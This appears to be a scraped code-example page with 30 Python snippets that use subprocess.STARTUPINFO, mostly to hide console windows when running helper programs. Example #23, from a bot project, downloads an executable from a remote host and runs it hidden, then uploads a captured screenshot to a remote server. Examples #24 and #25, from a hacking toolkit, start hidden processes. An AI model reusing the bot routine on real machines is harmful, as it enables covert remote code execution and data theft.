Python subprocess.STARTUPINFO Examples

The following are 30 code examples of subprocess.STARTUPINFO(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module subprocess , or try the search function .
Example #1
Source File: standard-format.py    From sublime-standard-format with MIT License 10 votes vote down vote up
def command_version(command):
    """
    Uses subprocess to format a given string.
    """

    startupinfo = None

    if platform == "windows":
        # Prevent cmd.exe window from popping up
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags |= (
            subprocess.STARTF_USESTDHANDLES | subprocess.STARTF_USESHOWWINDOW
        )
        startupinfo.wShowWindow = subprocess.SW_HIDE

    std = subprocess.Popen(
        [command, "--version"],
        env=calculate_env(),
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        startupinfo=startupinfo
    )
    out, err = std.communicate()
    return out.decode("utf-8").replace("\r", ""), err 
Example #2
Source File: _utils.py    From adbutils with MIT License 6 votes vote down vote up
def _popen_kwargs(prevent_sigint=False):
    startupinfo = None
    preexec_fn = None
    creationflags = 0
    if sys.platform.startswith("win"):
        # Stops executable from flashing on Windows (see imageio/imageio-ffmpeg#22)
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    if prevent_sigint:
        # Prevent propagation of sigint (see imageio/imageio-ffmpeg#4)
        # https://stackoverflow.com/questions/5045771
        if sys.platform.startswith("win"):
            creationflags = 0x00000200
        else:
            preexec_fn = os.setpgrp  # the _pre_exec does not seem to work
    return {
        "startupinfo": startupinfo,
        "creationflags": creationflags,
        "preexec_fn": preexec_fn,
    } 
Example #3
Source File: Backend.py    From Uranium with GNU Lesser General Public License v3.0 6 votes vote down vote up
def _runEngineProcess(self, command_list) -> Optional[subprocess.Popen]:
        """Start the (external) backend process."""

        kwargs = {} #type: Dict[str, Any]
        if sys.platform == "win32":
            su = subprocess.STARTUPINFO()
            su.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            su.wShowWindow = subprocess.SW_HIDE
            kwargs["startupinfo"] = su
            kwargs["creationflags"] = 0x00004000  # BELOW_NORMAL_PRIORITY_CLASS
        try:
            # STDIN needs to be None because we provide no input, but communicate via a local socket instead. The NUL device sometimes doesn't exist on some computers.
            # STDOUT and STDERR need to be pipes because we'd like to log the output on those channels into the application log.
            return subprocess.Popen(command_list, stdin = None, stdout = subprocess.PIPE, stderr = subprocess.PIPE, **kwargs)
        except PermissionError:
            Logger.log("e", "Couldn't start back-end: No permission to execute process.")
        except FileNotFoundError:
            Logger.logException("e", "Unable to find backend executable: %s", command_list[0])
        except BlockingIOError:
            Logger.log("e", "Couldn't start back-end: Resource is temporarily unavailable")
        except OSError as e:
            Logger.log("e", "Couldn't start back-end: Operating system is blocking it (antivirus?): {err}".format(err = str(e)))
        return None 
Example #4
Source File: internal.py    From cryptolens-python with MIT License 6 votes vote down vote up
def subprocess_args(include_stdout=True):
    if hasattr(subprocess, 'STARTUPINFO'):
        si = subprocess.STARTUPINFO()
        si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        env = os.environ
    else:
        si = None
        env = None

    if include_stdout:
        ret = {'stdout': subprocess.PIPE}
    else:
        ret = {}

    ret.update({'stdin': subprocess.PIPE,
                'stderr': subprocess.PIPE,
                'startupinfo': si,
                'env': env })
    return ret 
Example #5
Source File: aria2_downloader.py    From kano-burners with GNU General Public License v2.0 6 votes vote down vote up
def __init__(self, url, dest, progress_bar=False):
        self.url = url
        self.dest = dest
        self.hash_type = None
        self.hash_value = None
        self.process = None
        self.secret = ''.join(format(ord(x), 'x') for x in os.urandom(10))
        self.gid = 'DEADC0D9BEEFFACE'

        self.status = None
        self.failed = False
        self.failure = None

        self.ariaStatus = {}
        self.gid = None
        if platform.system()=='Darwin':
            self.aria_stdout = None
            self.startupinfo = None
        else:
            self.aria_stdout = None
            self.startupinfo = subprocess.STARTUPINFO()
            self.startupinfo.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW
            self.startupinfo.wShowWindow = subprocess.SW_HIDE 
Example #6
Source File: transports.py    From sublime_debugger with MIT License 6 votes vote down vote up
def __init__(self, command: List[str], cwd: Optional[str]):
		# taken from Default/exec.py
		# Hide the console window on Windows
		startupinfo = None
		if os.name == "nt":
			startupinfo = subprocess.STARTUPINFO() #type: ignore
			startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW #type: ignore

		super().__init__(command,
			stdout=subprocess.PIPE,
			stderr=subprocess.PIPE,
			stdin=subprocess.PIPE,
			shell=False,
			bufsize=0,
			startupinfo=startupinfo,
			cwd = cwd)

		self.closed = False 
Example #7
Source File: runInIndesign.py    From RunInIndesign with MIT License 6 votes vote down vote up
def __init__(self, shell_cmd):
		if not shell_cmd:
			raise ValueError("shell_cmd is required")

		if shell_cmd and not isinstance(shell_cmd, str):
			raise ValueError("shell_cmd must be a string")

		self.killed = False

		# Hide the console window on Windows
		startupinfo = None
		if os.name == "nt":
			startupinfo = subprocess.STARTUPINFO()
			#startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW

	   
		print (shell_cmd)
		if sys.platform == "win32":
			# Use shell=True on Windows, so shell_cmd is passed through with the correct escaping
			self.proc = subprocess.Popen(shell_cmd, startupinfo=startupinfo, shell=True)
		elif shell_cmd and sys.platform == "darwin":
			# Use a login shell on OSX, otherwise the users expected env vars won't be setup
			self.proc = subprocess.Popen(["/bin/bash", "-l", "-c", shell_cmd], startupinfo=startupinfo, shell=False)

		self.proc.wait() 
Example #8
Source File: ghhelper.py    From CityEnergyAnalyst with MIT License 6 votes vote down vote up
def run_cli(script_name, **parameters):
    """Run the CLI in a subprocess without showing windows"""
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW

    command = [get_python_exe(), '-u', '-m', 'cea.interfaces.cli.cli', script_name]
    for parameter_name, parameter_value in parameters.items():
        parameter_name = parameter_name.replace('_', '-')
        command.append('--' + parameter_name)
        command.append(str(parameter_value))
    print('Executing: ' + ' '.join(command))
    process = subprocess.Popen(command, startupinfo=startupinfo, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                               cwd=tempfile.gettempdir())
    while True:
        next_line = process.stdout.readline()
        if next_line == '' and process.poll() is not None:
            break
        print(next_line.rstrip())
    stdout, stderr = process.communicate()
    print(stdout)
    print(stderr)
    if process.returncode != 0:
        raise Exception('Tool did not run successfully') 
Example #9
Source File: _utils.py    From imageio-ffmpeg with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def _popen_kwargs(prevent_sigint=False):
    startupinfo = None
    preexec_fn = None
    creationflags = 0
    if sys.platform.startswith("win"):
        # Stops executable from flashing on Windows (see #22)
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    if prevent_sigint:
        # Prevent propagation of sigint (see #4)
        # https://stackoverflow.com/questions/5045771
        if sys.platform.startswith("win"):
            creationflags = 0x00000200
        else:
            preexec_fn = os.setpgrp  # the _pre_exec does not seem to work
    return {
        "startupinfo": startupinfo,
        "creationflags": creationflags,
        "preexec_fn": preexec_fn,
    } 
Example #10
Source File: QgsFmvUtils.py    From QGISFMV with GNU General Public License v3.0 6 votes vote down vote up
def run(self):
        if self.type is "ffmpeg":
            self.cmds.insert(0, ffmpeg_path)
        else:
            self.cmds.insert(0, ffprobe_path)

        qgsu.showUserAndLogMessage("", "starting Splitter on thread:" + str(threading.current_thread().ident), onlyLog=True)
        qgsu.showUserAndLogMessage("", "with args:" + ' '.join(self.cmds), onlyLog=True)

        # Hide shell windows that pops up on windows.
        if windows:
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            startupinfo.wShowWindow = subprocess.SW_HIDE

        self.p = subprocess.Popen(self.cmds, startupinfo=startupinfo, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE)
        # Dont us _spawn here as it will DeadLock, and the splitter won't work
        #self.p = _spawn(self.cmds)
        self.nbsr = NonBlockingStreamReader(self.p)
        self.nbsr._t.join()
        qgsu.showUserAndLogMessage("", "Splitter thread ended.", onlyLog=True) 
Example #11
Source File: __init__.py    From pyspelling with MIT License 6 votes vote down vote up
def get_process(cmd):
    """Get a command process."""

    if sys.platform.startswith('win'):
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        process = subprocess.Popen(
            cmd,
            startupinfo=startupinfo,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            stdin=subprocess.PIPE,
            shell=False
        )
    else:
        process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            stdin=subprocess.PIPE,
            shell=False
        )
    return process 
Example #12
Source File: fs_whatsapp.py    From MR with MIT License 6 votes vote down vote up
def run(cmd):
    if sys.platform == 'win32':
      startupinfo = subprocess.STARTUPINFO()
      startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    else:
      startupinfo = None
    p = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, startupinfo=startupinfo)
    #logtext.insert(END, "Cmd>")
    #for s in cmd:
    #    logtext.insert(END, " " + s)
    #logtext.insert(END, "\r\n")
    stdout = ''
    while True:
        line = str(p.stdout.readline(), encoding='UTF-8')
        stdout += line
        #logtext.insert(END, line)
        #logtext.yview(END)
        curstat = p.poll()
        if ((line == '') and (curstat != None)):
            break
    return stdout 
Example #13
Source File: vmrun.py    From mech with MIT License 6 votes vote down vote up
def get_provider(vmrun_exe):
    """
    identifies the right hosttype for vmrun command (ws | fusion | player)
    """

    if sys.platform == 'darwin':
        return 'fusion'

    for provider in ['ws', 'player', 'fusion']:
        try:
            startupinfo = None
            if os.name == "nt":
                startupinfo = subprocess.STARTUPINFO()
                startupinfo.dwFlags |= subprocess.SW_HIDE | subprocess.STARTF_USESHOWWINDOW
            proc = subprocess.Popen([vmrun_exe, '-T', provider, 'list'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=startupinfo)
        except OSError:
            pass

        stdoutdata, stderrdata = map(b2s, proc.communicate())
        if proc.returncode == 0:
            return provider 
Example #14
Source File: Radiumkeylogger.py    From Radium with Apache License 2.0 6 votes vote down vote up
def subprocess_args(include_stdout=True):
    if hasattr(subprocess, 'STARTUPINFO'):
        si = subprocess.STARTUPINFO()
        si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        env = os.environ
    else:
        si = None
        env = None

    if include_stdout:
        ret = {'stdout:': subprocess.PIPE}
    else:
        ret = {}

    ret.update({'stdin': subprocess.PIPE,
                'stderr': subprocess.PIPE,
                'startupinfo': si,
                'env': env })
    return ret

#Function to get the Process ID 
Example #15
Source File: util.py    From sublime-GitConflictResolver with MIT License 6 votes vote down vote up
def execute_command(command, working_dir=None):
    startupinfo = None
    # hide console window on windows
    if os.name == 'nt':
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW

    output = None
    try:
        output = subprocess.check_output(
            command,
            cwd=working_dir,
            startupinfo=startupinfo
        )
    except (subprocess.CalledProcessError, AttributeError):
        # Git will return an error when the given directory
        # is not a repository, which means that we can ignore this error
        pass
    else:
        output = str(output, encoding="utf-8").strip()

    return output 
Example #16
Source File: test_subprocess.py    From ironpython3 with Apache License 2.0 5 votes vote down vote up
def test_startupinfo(self):
        # startupinfo argument
        # We uses hardcoded constants, because we do not want to
        # depend on win32all.
        STARTF_USESHOWWINDOW = 1
        SW_MAXIMIZE = 3
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags = STARTF_USESHOWWINDOW
        startupinfo.wShowWindow = SW_MAXIMIZE
        # Since Python is a console process, it won't be affected
        # by wShowWindow, but the argument should be silently
        # ignored
        subprocess.call([sys.executable, "-c", "import sys; sys.exit(0)"],
                        startupinfo=startupinfo) 
Example #17
Source File: speech_transformers.py    From ffsubsync with MIT License 5 votes vote down vote up
def _subprocess_args(include_stdout=True):
    # The following is true only on Windows.
    if hasattr(subprocess, 'STARTUPINFO'):
        # On Windows, subprocess calls will pop up a command window by default
        # when run from Pyinstaller with the ``--noconsole`` option. Avoid this
        # distraction.
        si = subprocess.STARTUPINFO()
        si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        # Windows doesn't search the path by default. Pass it an environment so
        # it will.
        env = os.environ
    else:
        si = None
        env = None

    # ``subprocess.check_output`` doesn't allow specifying ``stdout``::
    #
    #   Traceback (most recent call last):
    #     File "test_subprocess.py", line 58, in <module>
    #       **subprocess_args(stdout=None))
    #     File "C:\Python27\lib\subprocess.py", line 567, in check_output
    #       raise ValueError('stdout argument not allowed, it will be overridden.')
    #   ValueError: stdout argument not allowed, it will be overridden.
    #
    # So, add it only if it's needed.
    if include_stdout:
        ret = {'stdout': subprocess.PIPE}
    else:
        ret = {}

    # On Windows, running this from the binary produced by Pyinstaller
    # with the ``--noconsole`` option requires redirecting everything
    # (stdin, stdout, stderr) to avoid an OSError exception
    # "[Error 6] the handle is invalid."
    ret.update({'stdin': subprocess.PIPE,
                'stderr': subprocess.PIPE,
                'startupinfo': si,
                'env': env})
    return ret 
Example #18
Source File: runInIndesign.py    From RunInIndesign with MIT License 5 votes vote down vote up
def kill(self):
		if not self.killed:
			self.killed = True
			if sys.platform == "win32":
				# terminate would not kill process opened by the shell cmd.exe, it will only kill
				# cmd.exe leaving the child running
				startupinfo = subprocess.STARTUPINFO()
				startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
				subprocess.Popen("taskkill /PID " + str(self.proc.pid), startupinfo=startupinfo)
			else:
				self.proc.terminate() 
Example #19
Source File: recipe-511443.py    From code with MIT License 5 votes vote down vote up
def _invoke(self, cmdline):
        if sys.platform[:3] == 'win':
            closefds = False
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        else:
            closefds = True
            startupinfo = None

        if (os.environ.get('DISPLAY') or sys.platform[:3] == 'win' or
                                                    sys.platform == 'darwin'):
            inout = file(os.devnull, 'r+')
        else:
            # for TTY programs, we need stdin/out
            inout = None

        # if possible, put the child precess in separate process group,
        # so keyboard interrupts don't affect child precess as well as
        # Python
        setsid = getattr(os, 'setsid', None)
        if not setsid:
            setsid = getattr(os, 'setpgrp', None)

        pipe = subprocess.Popen(cmdline, stdin=inout, stdout=inout,
                                stderr=inout, close_fds=closefds,
                                preexec_fn=setsid, startupinfo=startupinfo)

        # It is assumed that this kind of tools (gnome-open, kfmclient,
        # exo-open, xdg-open and open for OSX) immediately exit after lauching
        # the specific application
        returncode = pipe.wait()
        if hasattr(self, 'fixreturncode'):
            returncode = self.fixreturncode(returncode)
        return not returncode 
Example #20
Source File: arcgishelper.py    From CityEnergyAnalyst with MIT License 5 votes vote down vote up
def run_cli(script_name, **parameters):
    """Run the CLI in a subprocess without showing windows"""
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW

    command = [get_python_exe(), '-u', '-m', 'cea.interfaces.cli.cli', script_name]
    for parameter_name, parameter_value in parameters.items():
        parameter_name = parameter_name.replace('_', '-')
        command.append('--' + parameter_name)
        command.append(str(parameter_value))
    add_message('Executing: ' + ' '.join(command))
    process = subprocess.Popen(command, startupinfo=startupinfo, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                               env=get_environment(), cwd=tempfile.gettempdir())

    add_message('')
    add_message(DEPRECATION_WARNING)
    add_message('')

    while True:
        next_line = process.stdout.readline()
        if next_line == '' and process.poll() is not None:
            break
        add_message(next_line.rstrip())
    stdout, stderr = process.communicate()
    add_message(stdout)
    add_message(stderr)
    if process.returncode == cea.ConfigError.rc:
        arcpy.AddError('Tool did not run successfully: Check parameters')
    elif process.returncode != 0:
        raise Exception('Tool did not run successfully') 
Example #21
Source File: speaker.py    From eduActiv8 with GNU General Public License v3.0 5 votes vote down vote up
def start_server(self):
        if self.android is None:
            if self.enabled and self.lang.voice is not None:
                cmd = ['espeak']
                cmd.extend(self.lang.voice)
                try:
                    # IS_WIN32 = 'win32' in str(sys.platform).lower() #maybe sys.platform is more secure
                    is_win = platform.system() == "Windows"
                    if is_win:
                        startupinfo = subprocess.STARTUPINFO()
                        startupinfo.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW
                        startupinfo.wShowWindow = subprocess.SW_HIDE
                        kwargs = {}
                        kwargs['startupinfo'] = startupinfo
                        self.process = subprocess.Popen(cmd, shell=False, bufsize=0, stdin=subprocess.PIPE,
                                                        stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                                        startupinfo=startupinfo)
                    else:
                        if self.debug:
                            self.process = subprocess.Popen(cmd, shell=False, bufsize=0, stdin=subprocess.PIPE)
                        else:
                            self.process = subprocess.Popen(cmd, shell=False, bufsize=0, stdin=subprocess.PIPE,
                                                            stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    self.started = True
                except:
                    self.enabled = False
                    self.started = False
                    print("eduActiv8: You may like to install eSpeak to get some extra functionality, " +
                          "however this is not required to successfully use the game.")
            else:
                self.process = None 
Example #22
Source File: latextext.py    From LaTeXText with GNU General Public License v3.0 5 votes vote down vote up
def _exec_command(self, cmd, ok_return_value=0):
        """
        Run given command, check return value, and return
        concatenated stdout and stderr.
        :param cmd: Command to execute
        :param ok_return_value: The expected return value after successful completion
        """

        try:
            # hides the command window for cli tools that are run (in Windows)
            info = None
            if PLATFORM == WINDOWS:
                info = subprocess.STARTUPINFO()
                info.dwFlags |= subprocess.STARTF_USESHOWWINDOW
                info.wShowWindow = subprocess.SW_HIDE

            p = subprocess.Popen(cmd,
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE,
                                 stdin=subprocess.PIPE,
                                 startupinfo=info)
            out, err = p.communicate()
        except OSError as err:
            log_error("\nCommand \"%s\" > failed: %s" % (' '.join(cmd), err))
            raise RuntimeError()

        if ok_return_value is not None and p.returncode != ok_return_value:
            log_error("\nCommand \"%s\" failed (code %d): \n\n %s" % (' '.join(cmd), p.returncode, out + err))
            raise RuntimeError()
        return out + err

    # render given latex code and return the result as an SVG group element 
Example #23
Source File: xenotix_xbot.py    From Xenotix-xBOT with Apache License 2.0 5 votes vote down vote up
def screenshot(cmdz,resp,botid):
    try:
        if platform.system()=='Linux':
            os.system("gnome-screenshot -f screenshot.png")
        elif platform.system()=='Darwin':
            os.system("screencapture -x -t png /var/TMP/screenshot.png")
        elif platform.system()=='Windows':
            f=urllib2.urlopen("http://xboz.xxxx.com/data/screenshot.exe")
            data=f.read()
            f.close()
            final=open("screenshot.exe", "wb")
            final.write(data)
            final.close()
            info = subprocess.STARTUPINFO()
            info.dwFlags = 1
            info.wShowWindow = 0
            subprocess.Popen("screenshot.exe", startupinfo=info)
            os.remove("screenshot.exe")
        if platform.system()=='Darwin':
                fileupload("/var/TMP/screenshot.png","/screenshot/up.php")
                os.remove("/var/TMP/screenshot.png")
        else:
                fileupload("screenshot.png","/screenshot/up.php")
                os.remove('screenshot.png')
        output(botid+": http://xboz.xxxxx.com/screenshot/screenshot.png",resp)
        output(botid+" xDONE",cmdz)
    except Exception as e:
        output(botid +": "+str(e),resp)
#kill and terminate 
Example #24
Source File: processes.py    From NoobSec-Toolkit with GNU General Public License v2.0 5 votes vote down vote up
def start_hidden_process(path):
	info = subprocess.STARTUPINFO()
	info.dwFlags = subprocess.STARTF_USESHOWWINDOW|subprocess.CREATE_NEW_PROCESS_GROUP
	info.wShowWindow = subprocess.SW_HIDE
	p=subprocess.Popen(path, startupinfo=info)
	return p 
Example #25
Source File: processes.py    From NoobSec-Toolkit with GNU General Public License v2.0 5 votes vote down vote up
def start_hidden_process(path):
	info = subprocess.STARTUPINFO()
	info.dwFlags = subprocess.STARTF_USESHOWWINDOW|subprocess.CREATE_NEW_PROCESS_GROUP
	info.wShowWindow = subprocess.SW_HIDE
	p=subprocess.Popen(path, startupinfo=info)
	return p 
Example #26
Source File: test_subprocess.py    From Fluid-Designer with GNU General Public License v3.0 5 votes vote down vote up
def test_startupinfo(self):
        # startupinfo argument
        # We uses hardcoded constants, because we do not want to
        # depend on win32all.
        STARTF_USESHOWWINDOW = 1
        SW_MAXIMIZE = 3
        startupinfo = subprocess.STARTUPINFO()
        startupinfo.dwFlags = STARTF_USESHOWWINDOW
        startupinfo.wShowWindow = SW_MAXIMIZE
        # Since Python is a console process, it won't be affected
        # by wShowWindow, but the argument should be silently
        # ignored
        subprocess.call([sys.executable, "-c", "import sys; sys.exit(0)"],
                        startupinfo=startupinfo) 
Example #27
Source File: __init__.py    From batch_textures_convert with MIT License 5 votes vote down vote up
def run(self):
        while not self.stop:
            try:
                texture_in = self.queue.get(False)

                cmd = self.convert_command(texture_in)

                startupinfo = None
                if os.name == 'nt':
                    startupinfo = subprocess.STARTUPINFO()
                    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW

                if cmd:
                    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, startupinfo=startupinfo)
                    out = p.communicate()[0]
                    print "\nThread #{}".format(self.id)
                    print "Command: {}".format( " ".join(cmd) )
                    print "Command output:\n{dashes}\n{out}{dashes}".format(out=out, dashes="-"*50)
                    print "Return code: {}\n".format(p.returncode)
                else:
                    print "Cmd is None, skipping..."

                if not self.stop:
                    self.incSignal.sig.emit()

            except Empty:
                reason = "empty queue"
                break

        if self.stop:
            reason = "stopped"

        print("Thread #{} finished ({})".format(self.id, reason))
        return 
Example #28
Source File: windows.py    From attention-lvcsr with MIT License 5 votes vote down vote up
def subprocess_Popen(command, **params):
    """
    Utility function to work around windows behavior that open windows.

    :see: call_subprocess_Popen and output_subprocess_Popen
    """
    startupinfo = None
    if os.name == 'nt':
        startupinfo = subprocess.STARTUPINFO()
        try:
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        except AttributeError:
            startupinfo.dwFlags |= subprocess._subprocess.STARTF_USESHOWWINDOW

        # Anaconda for Windows does not always provide .exe files
        # in the PATH, they also have .bat files that call the corresponding
        # executable. For instance, "g++.bat" is in the PATH, not "g++.exe"
        # Unless "shell=True", "g++.bat" is not executed when trying to
        # execute "g++" without extensions.
        # (Executing "g++.bat" explicitly would also work.)
        params['shell'] = True

    # Using the dummy file descriptors below is a workaround for a
    # crash experienced in an unusual Python 2.4.4 Windows environment
    # with the default None values.
    stdin = None
    if "stdin" not in params:
        stdin = open(os.devnull)
        params['stdin'] = stdin.fileno()

    try:
        proc = subprocess.Popen(command, startupinfo=startupinfo, **params)
    finally:
        if stdin is not None:
            del stdin
    return proc 
Example #29
Source File: arcgishelper.py    From CityEnergyAnalyst with MIT License 5 votes vote down vote up
def list_buildings(scenario):
    """Shell out to the CEA python and read in the output"""
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW

    command = [get_python_exe(), '-u', '-m', 'cea.interfaces.arcgis.list_buildings', scenario]
    try:
        buildings_string = subprocess.check_output(command, startupinfo=startupinfo)
        return [b.strip() for b in buildings_string.split(',')]
    except subprocess.CalledProcessError:
        return [] 
Example #30
Source File: ncm2.py    From ncm2 with MIT License 5 votes vote down vote up
def __init__(self, *args, **keys):
            if 'startupinfo' not in keys:
                si = subprocess.STARTUPINFO()
                si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
                keys['startupinfo'] = si
            cls.__init__(self, *args, **keys)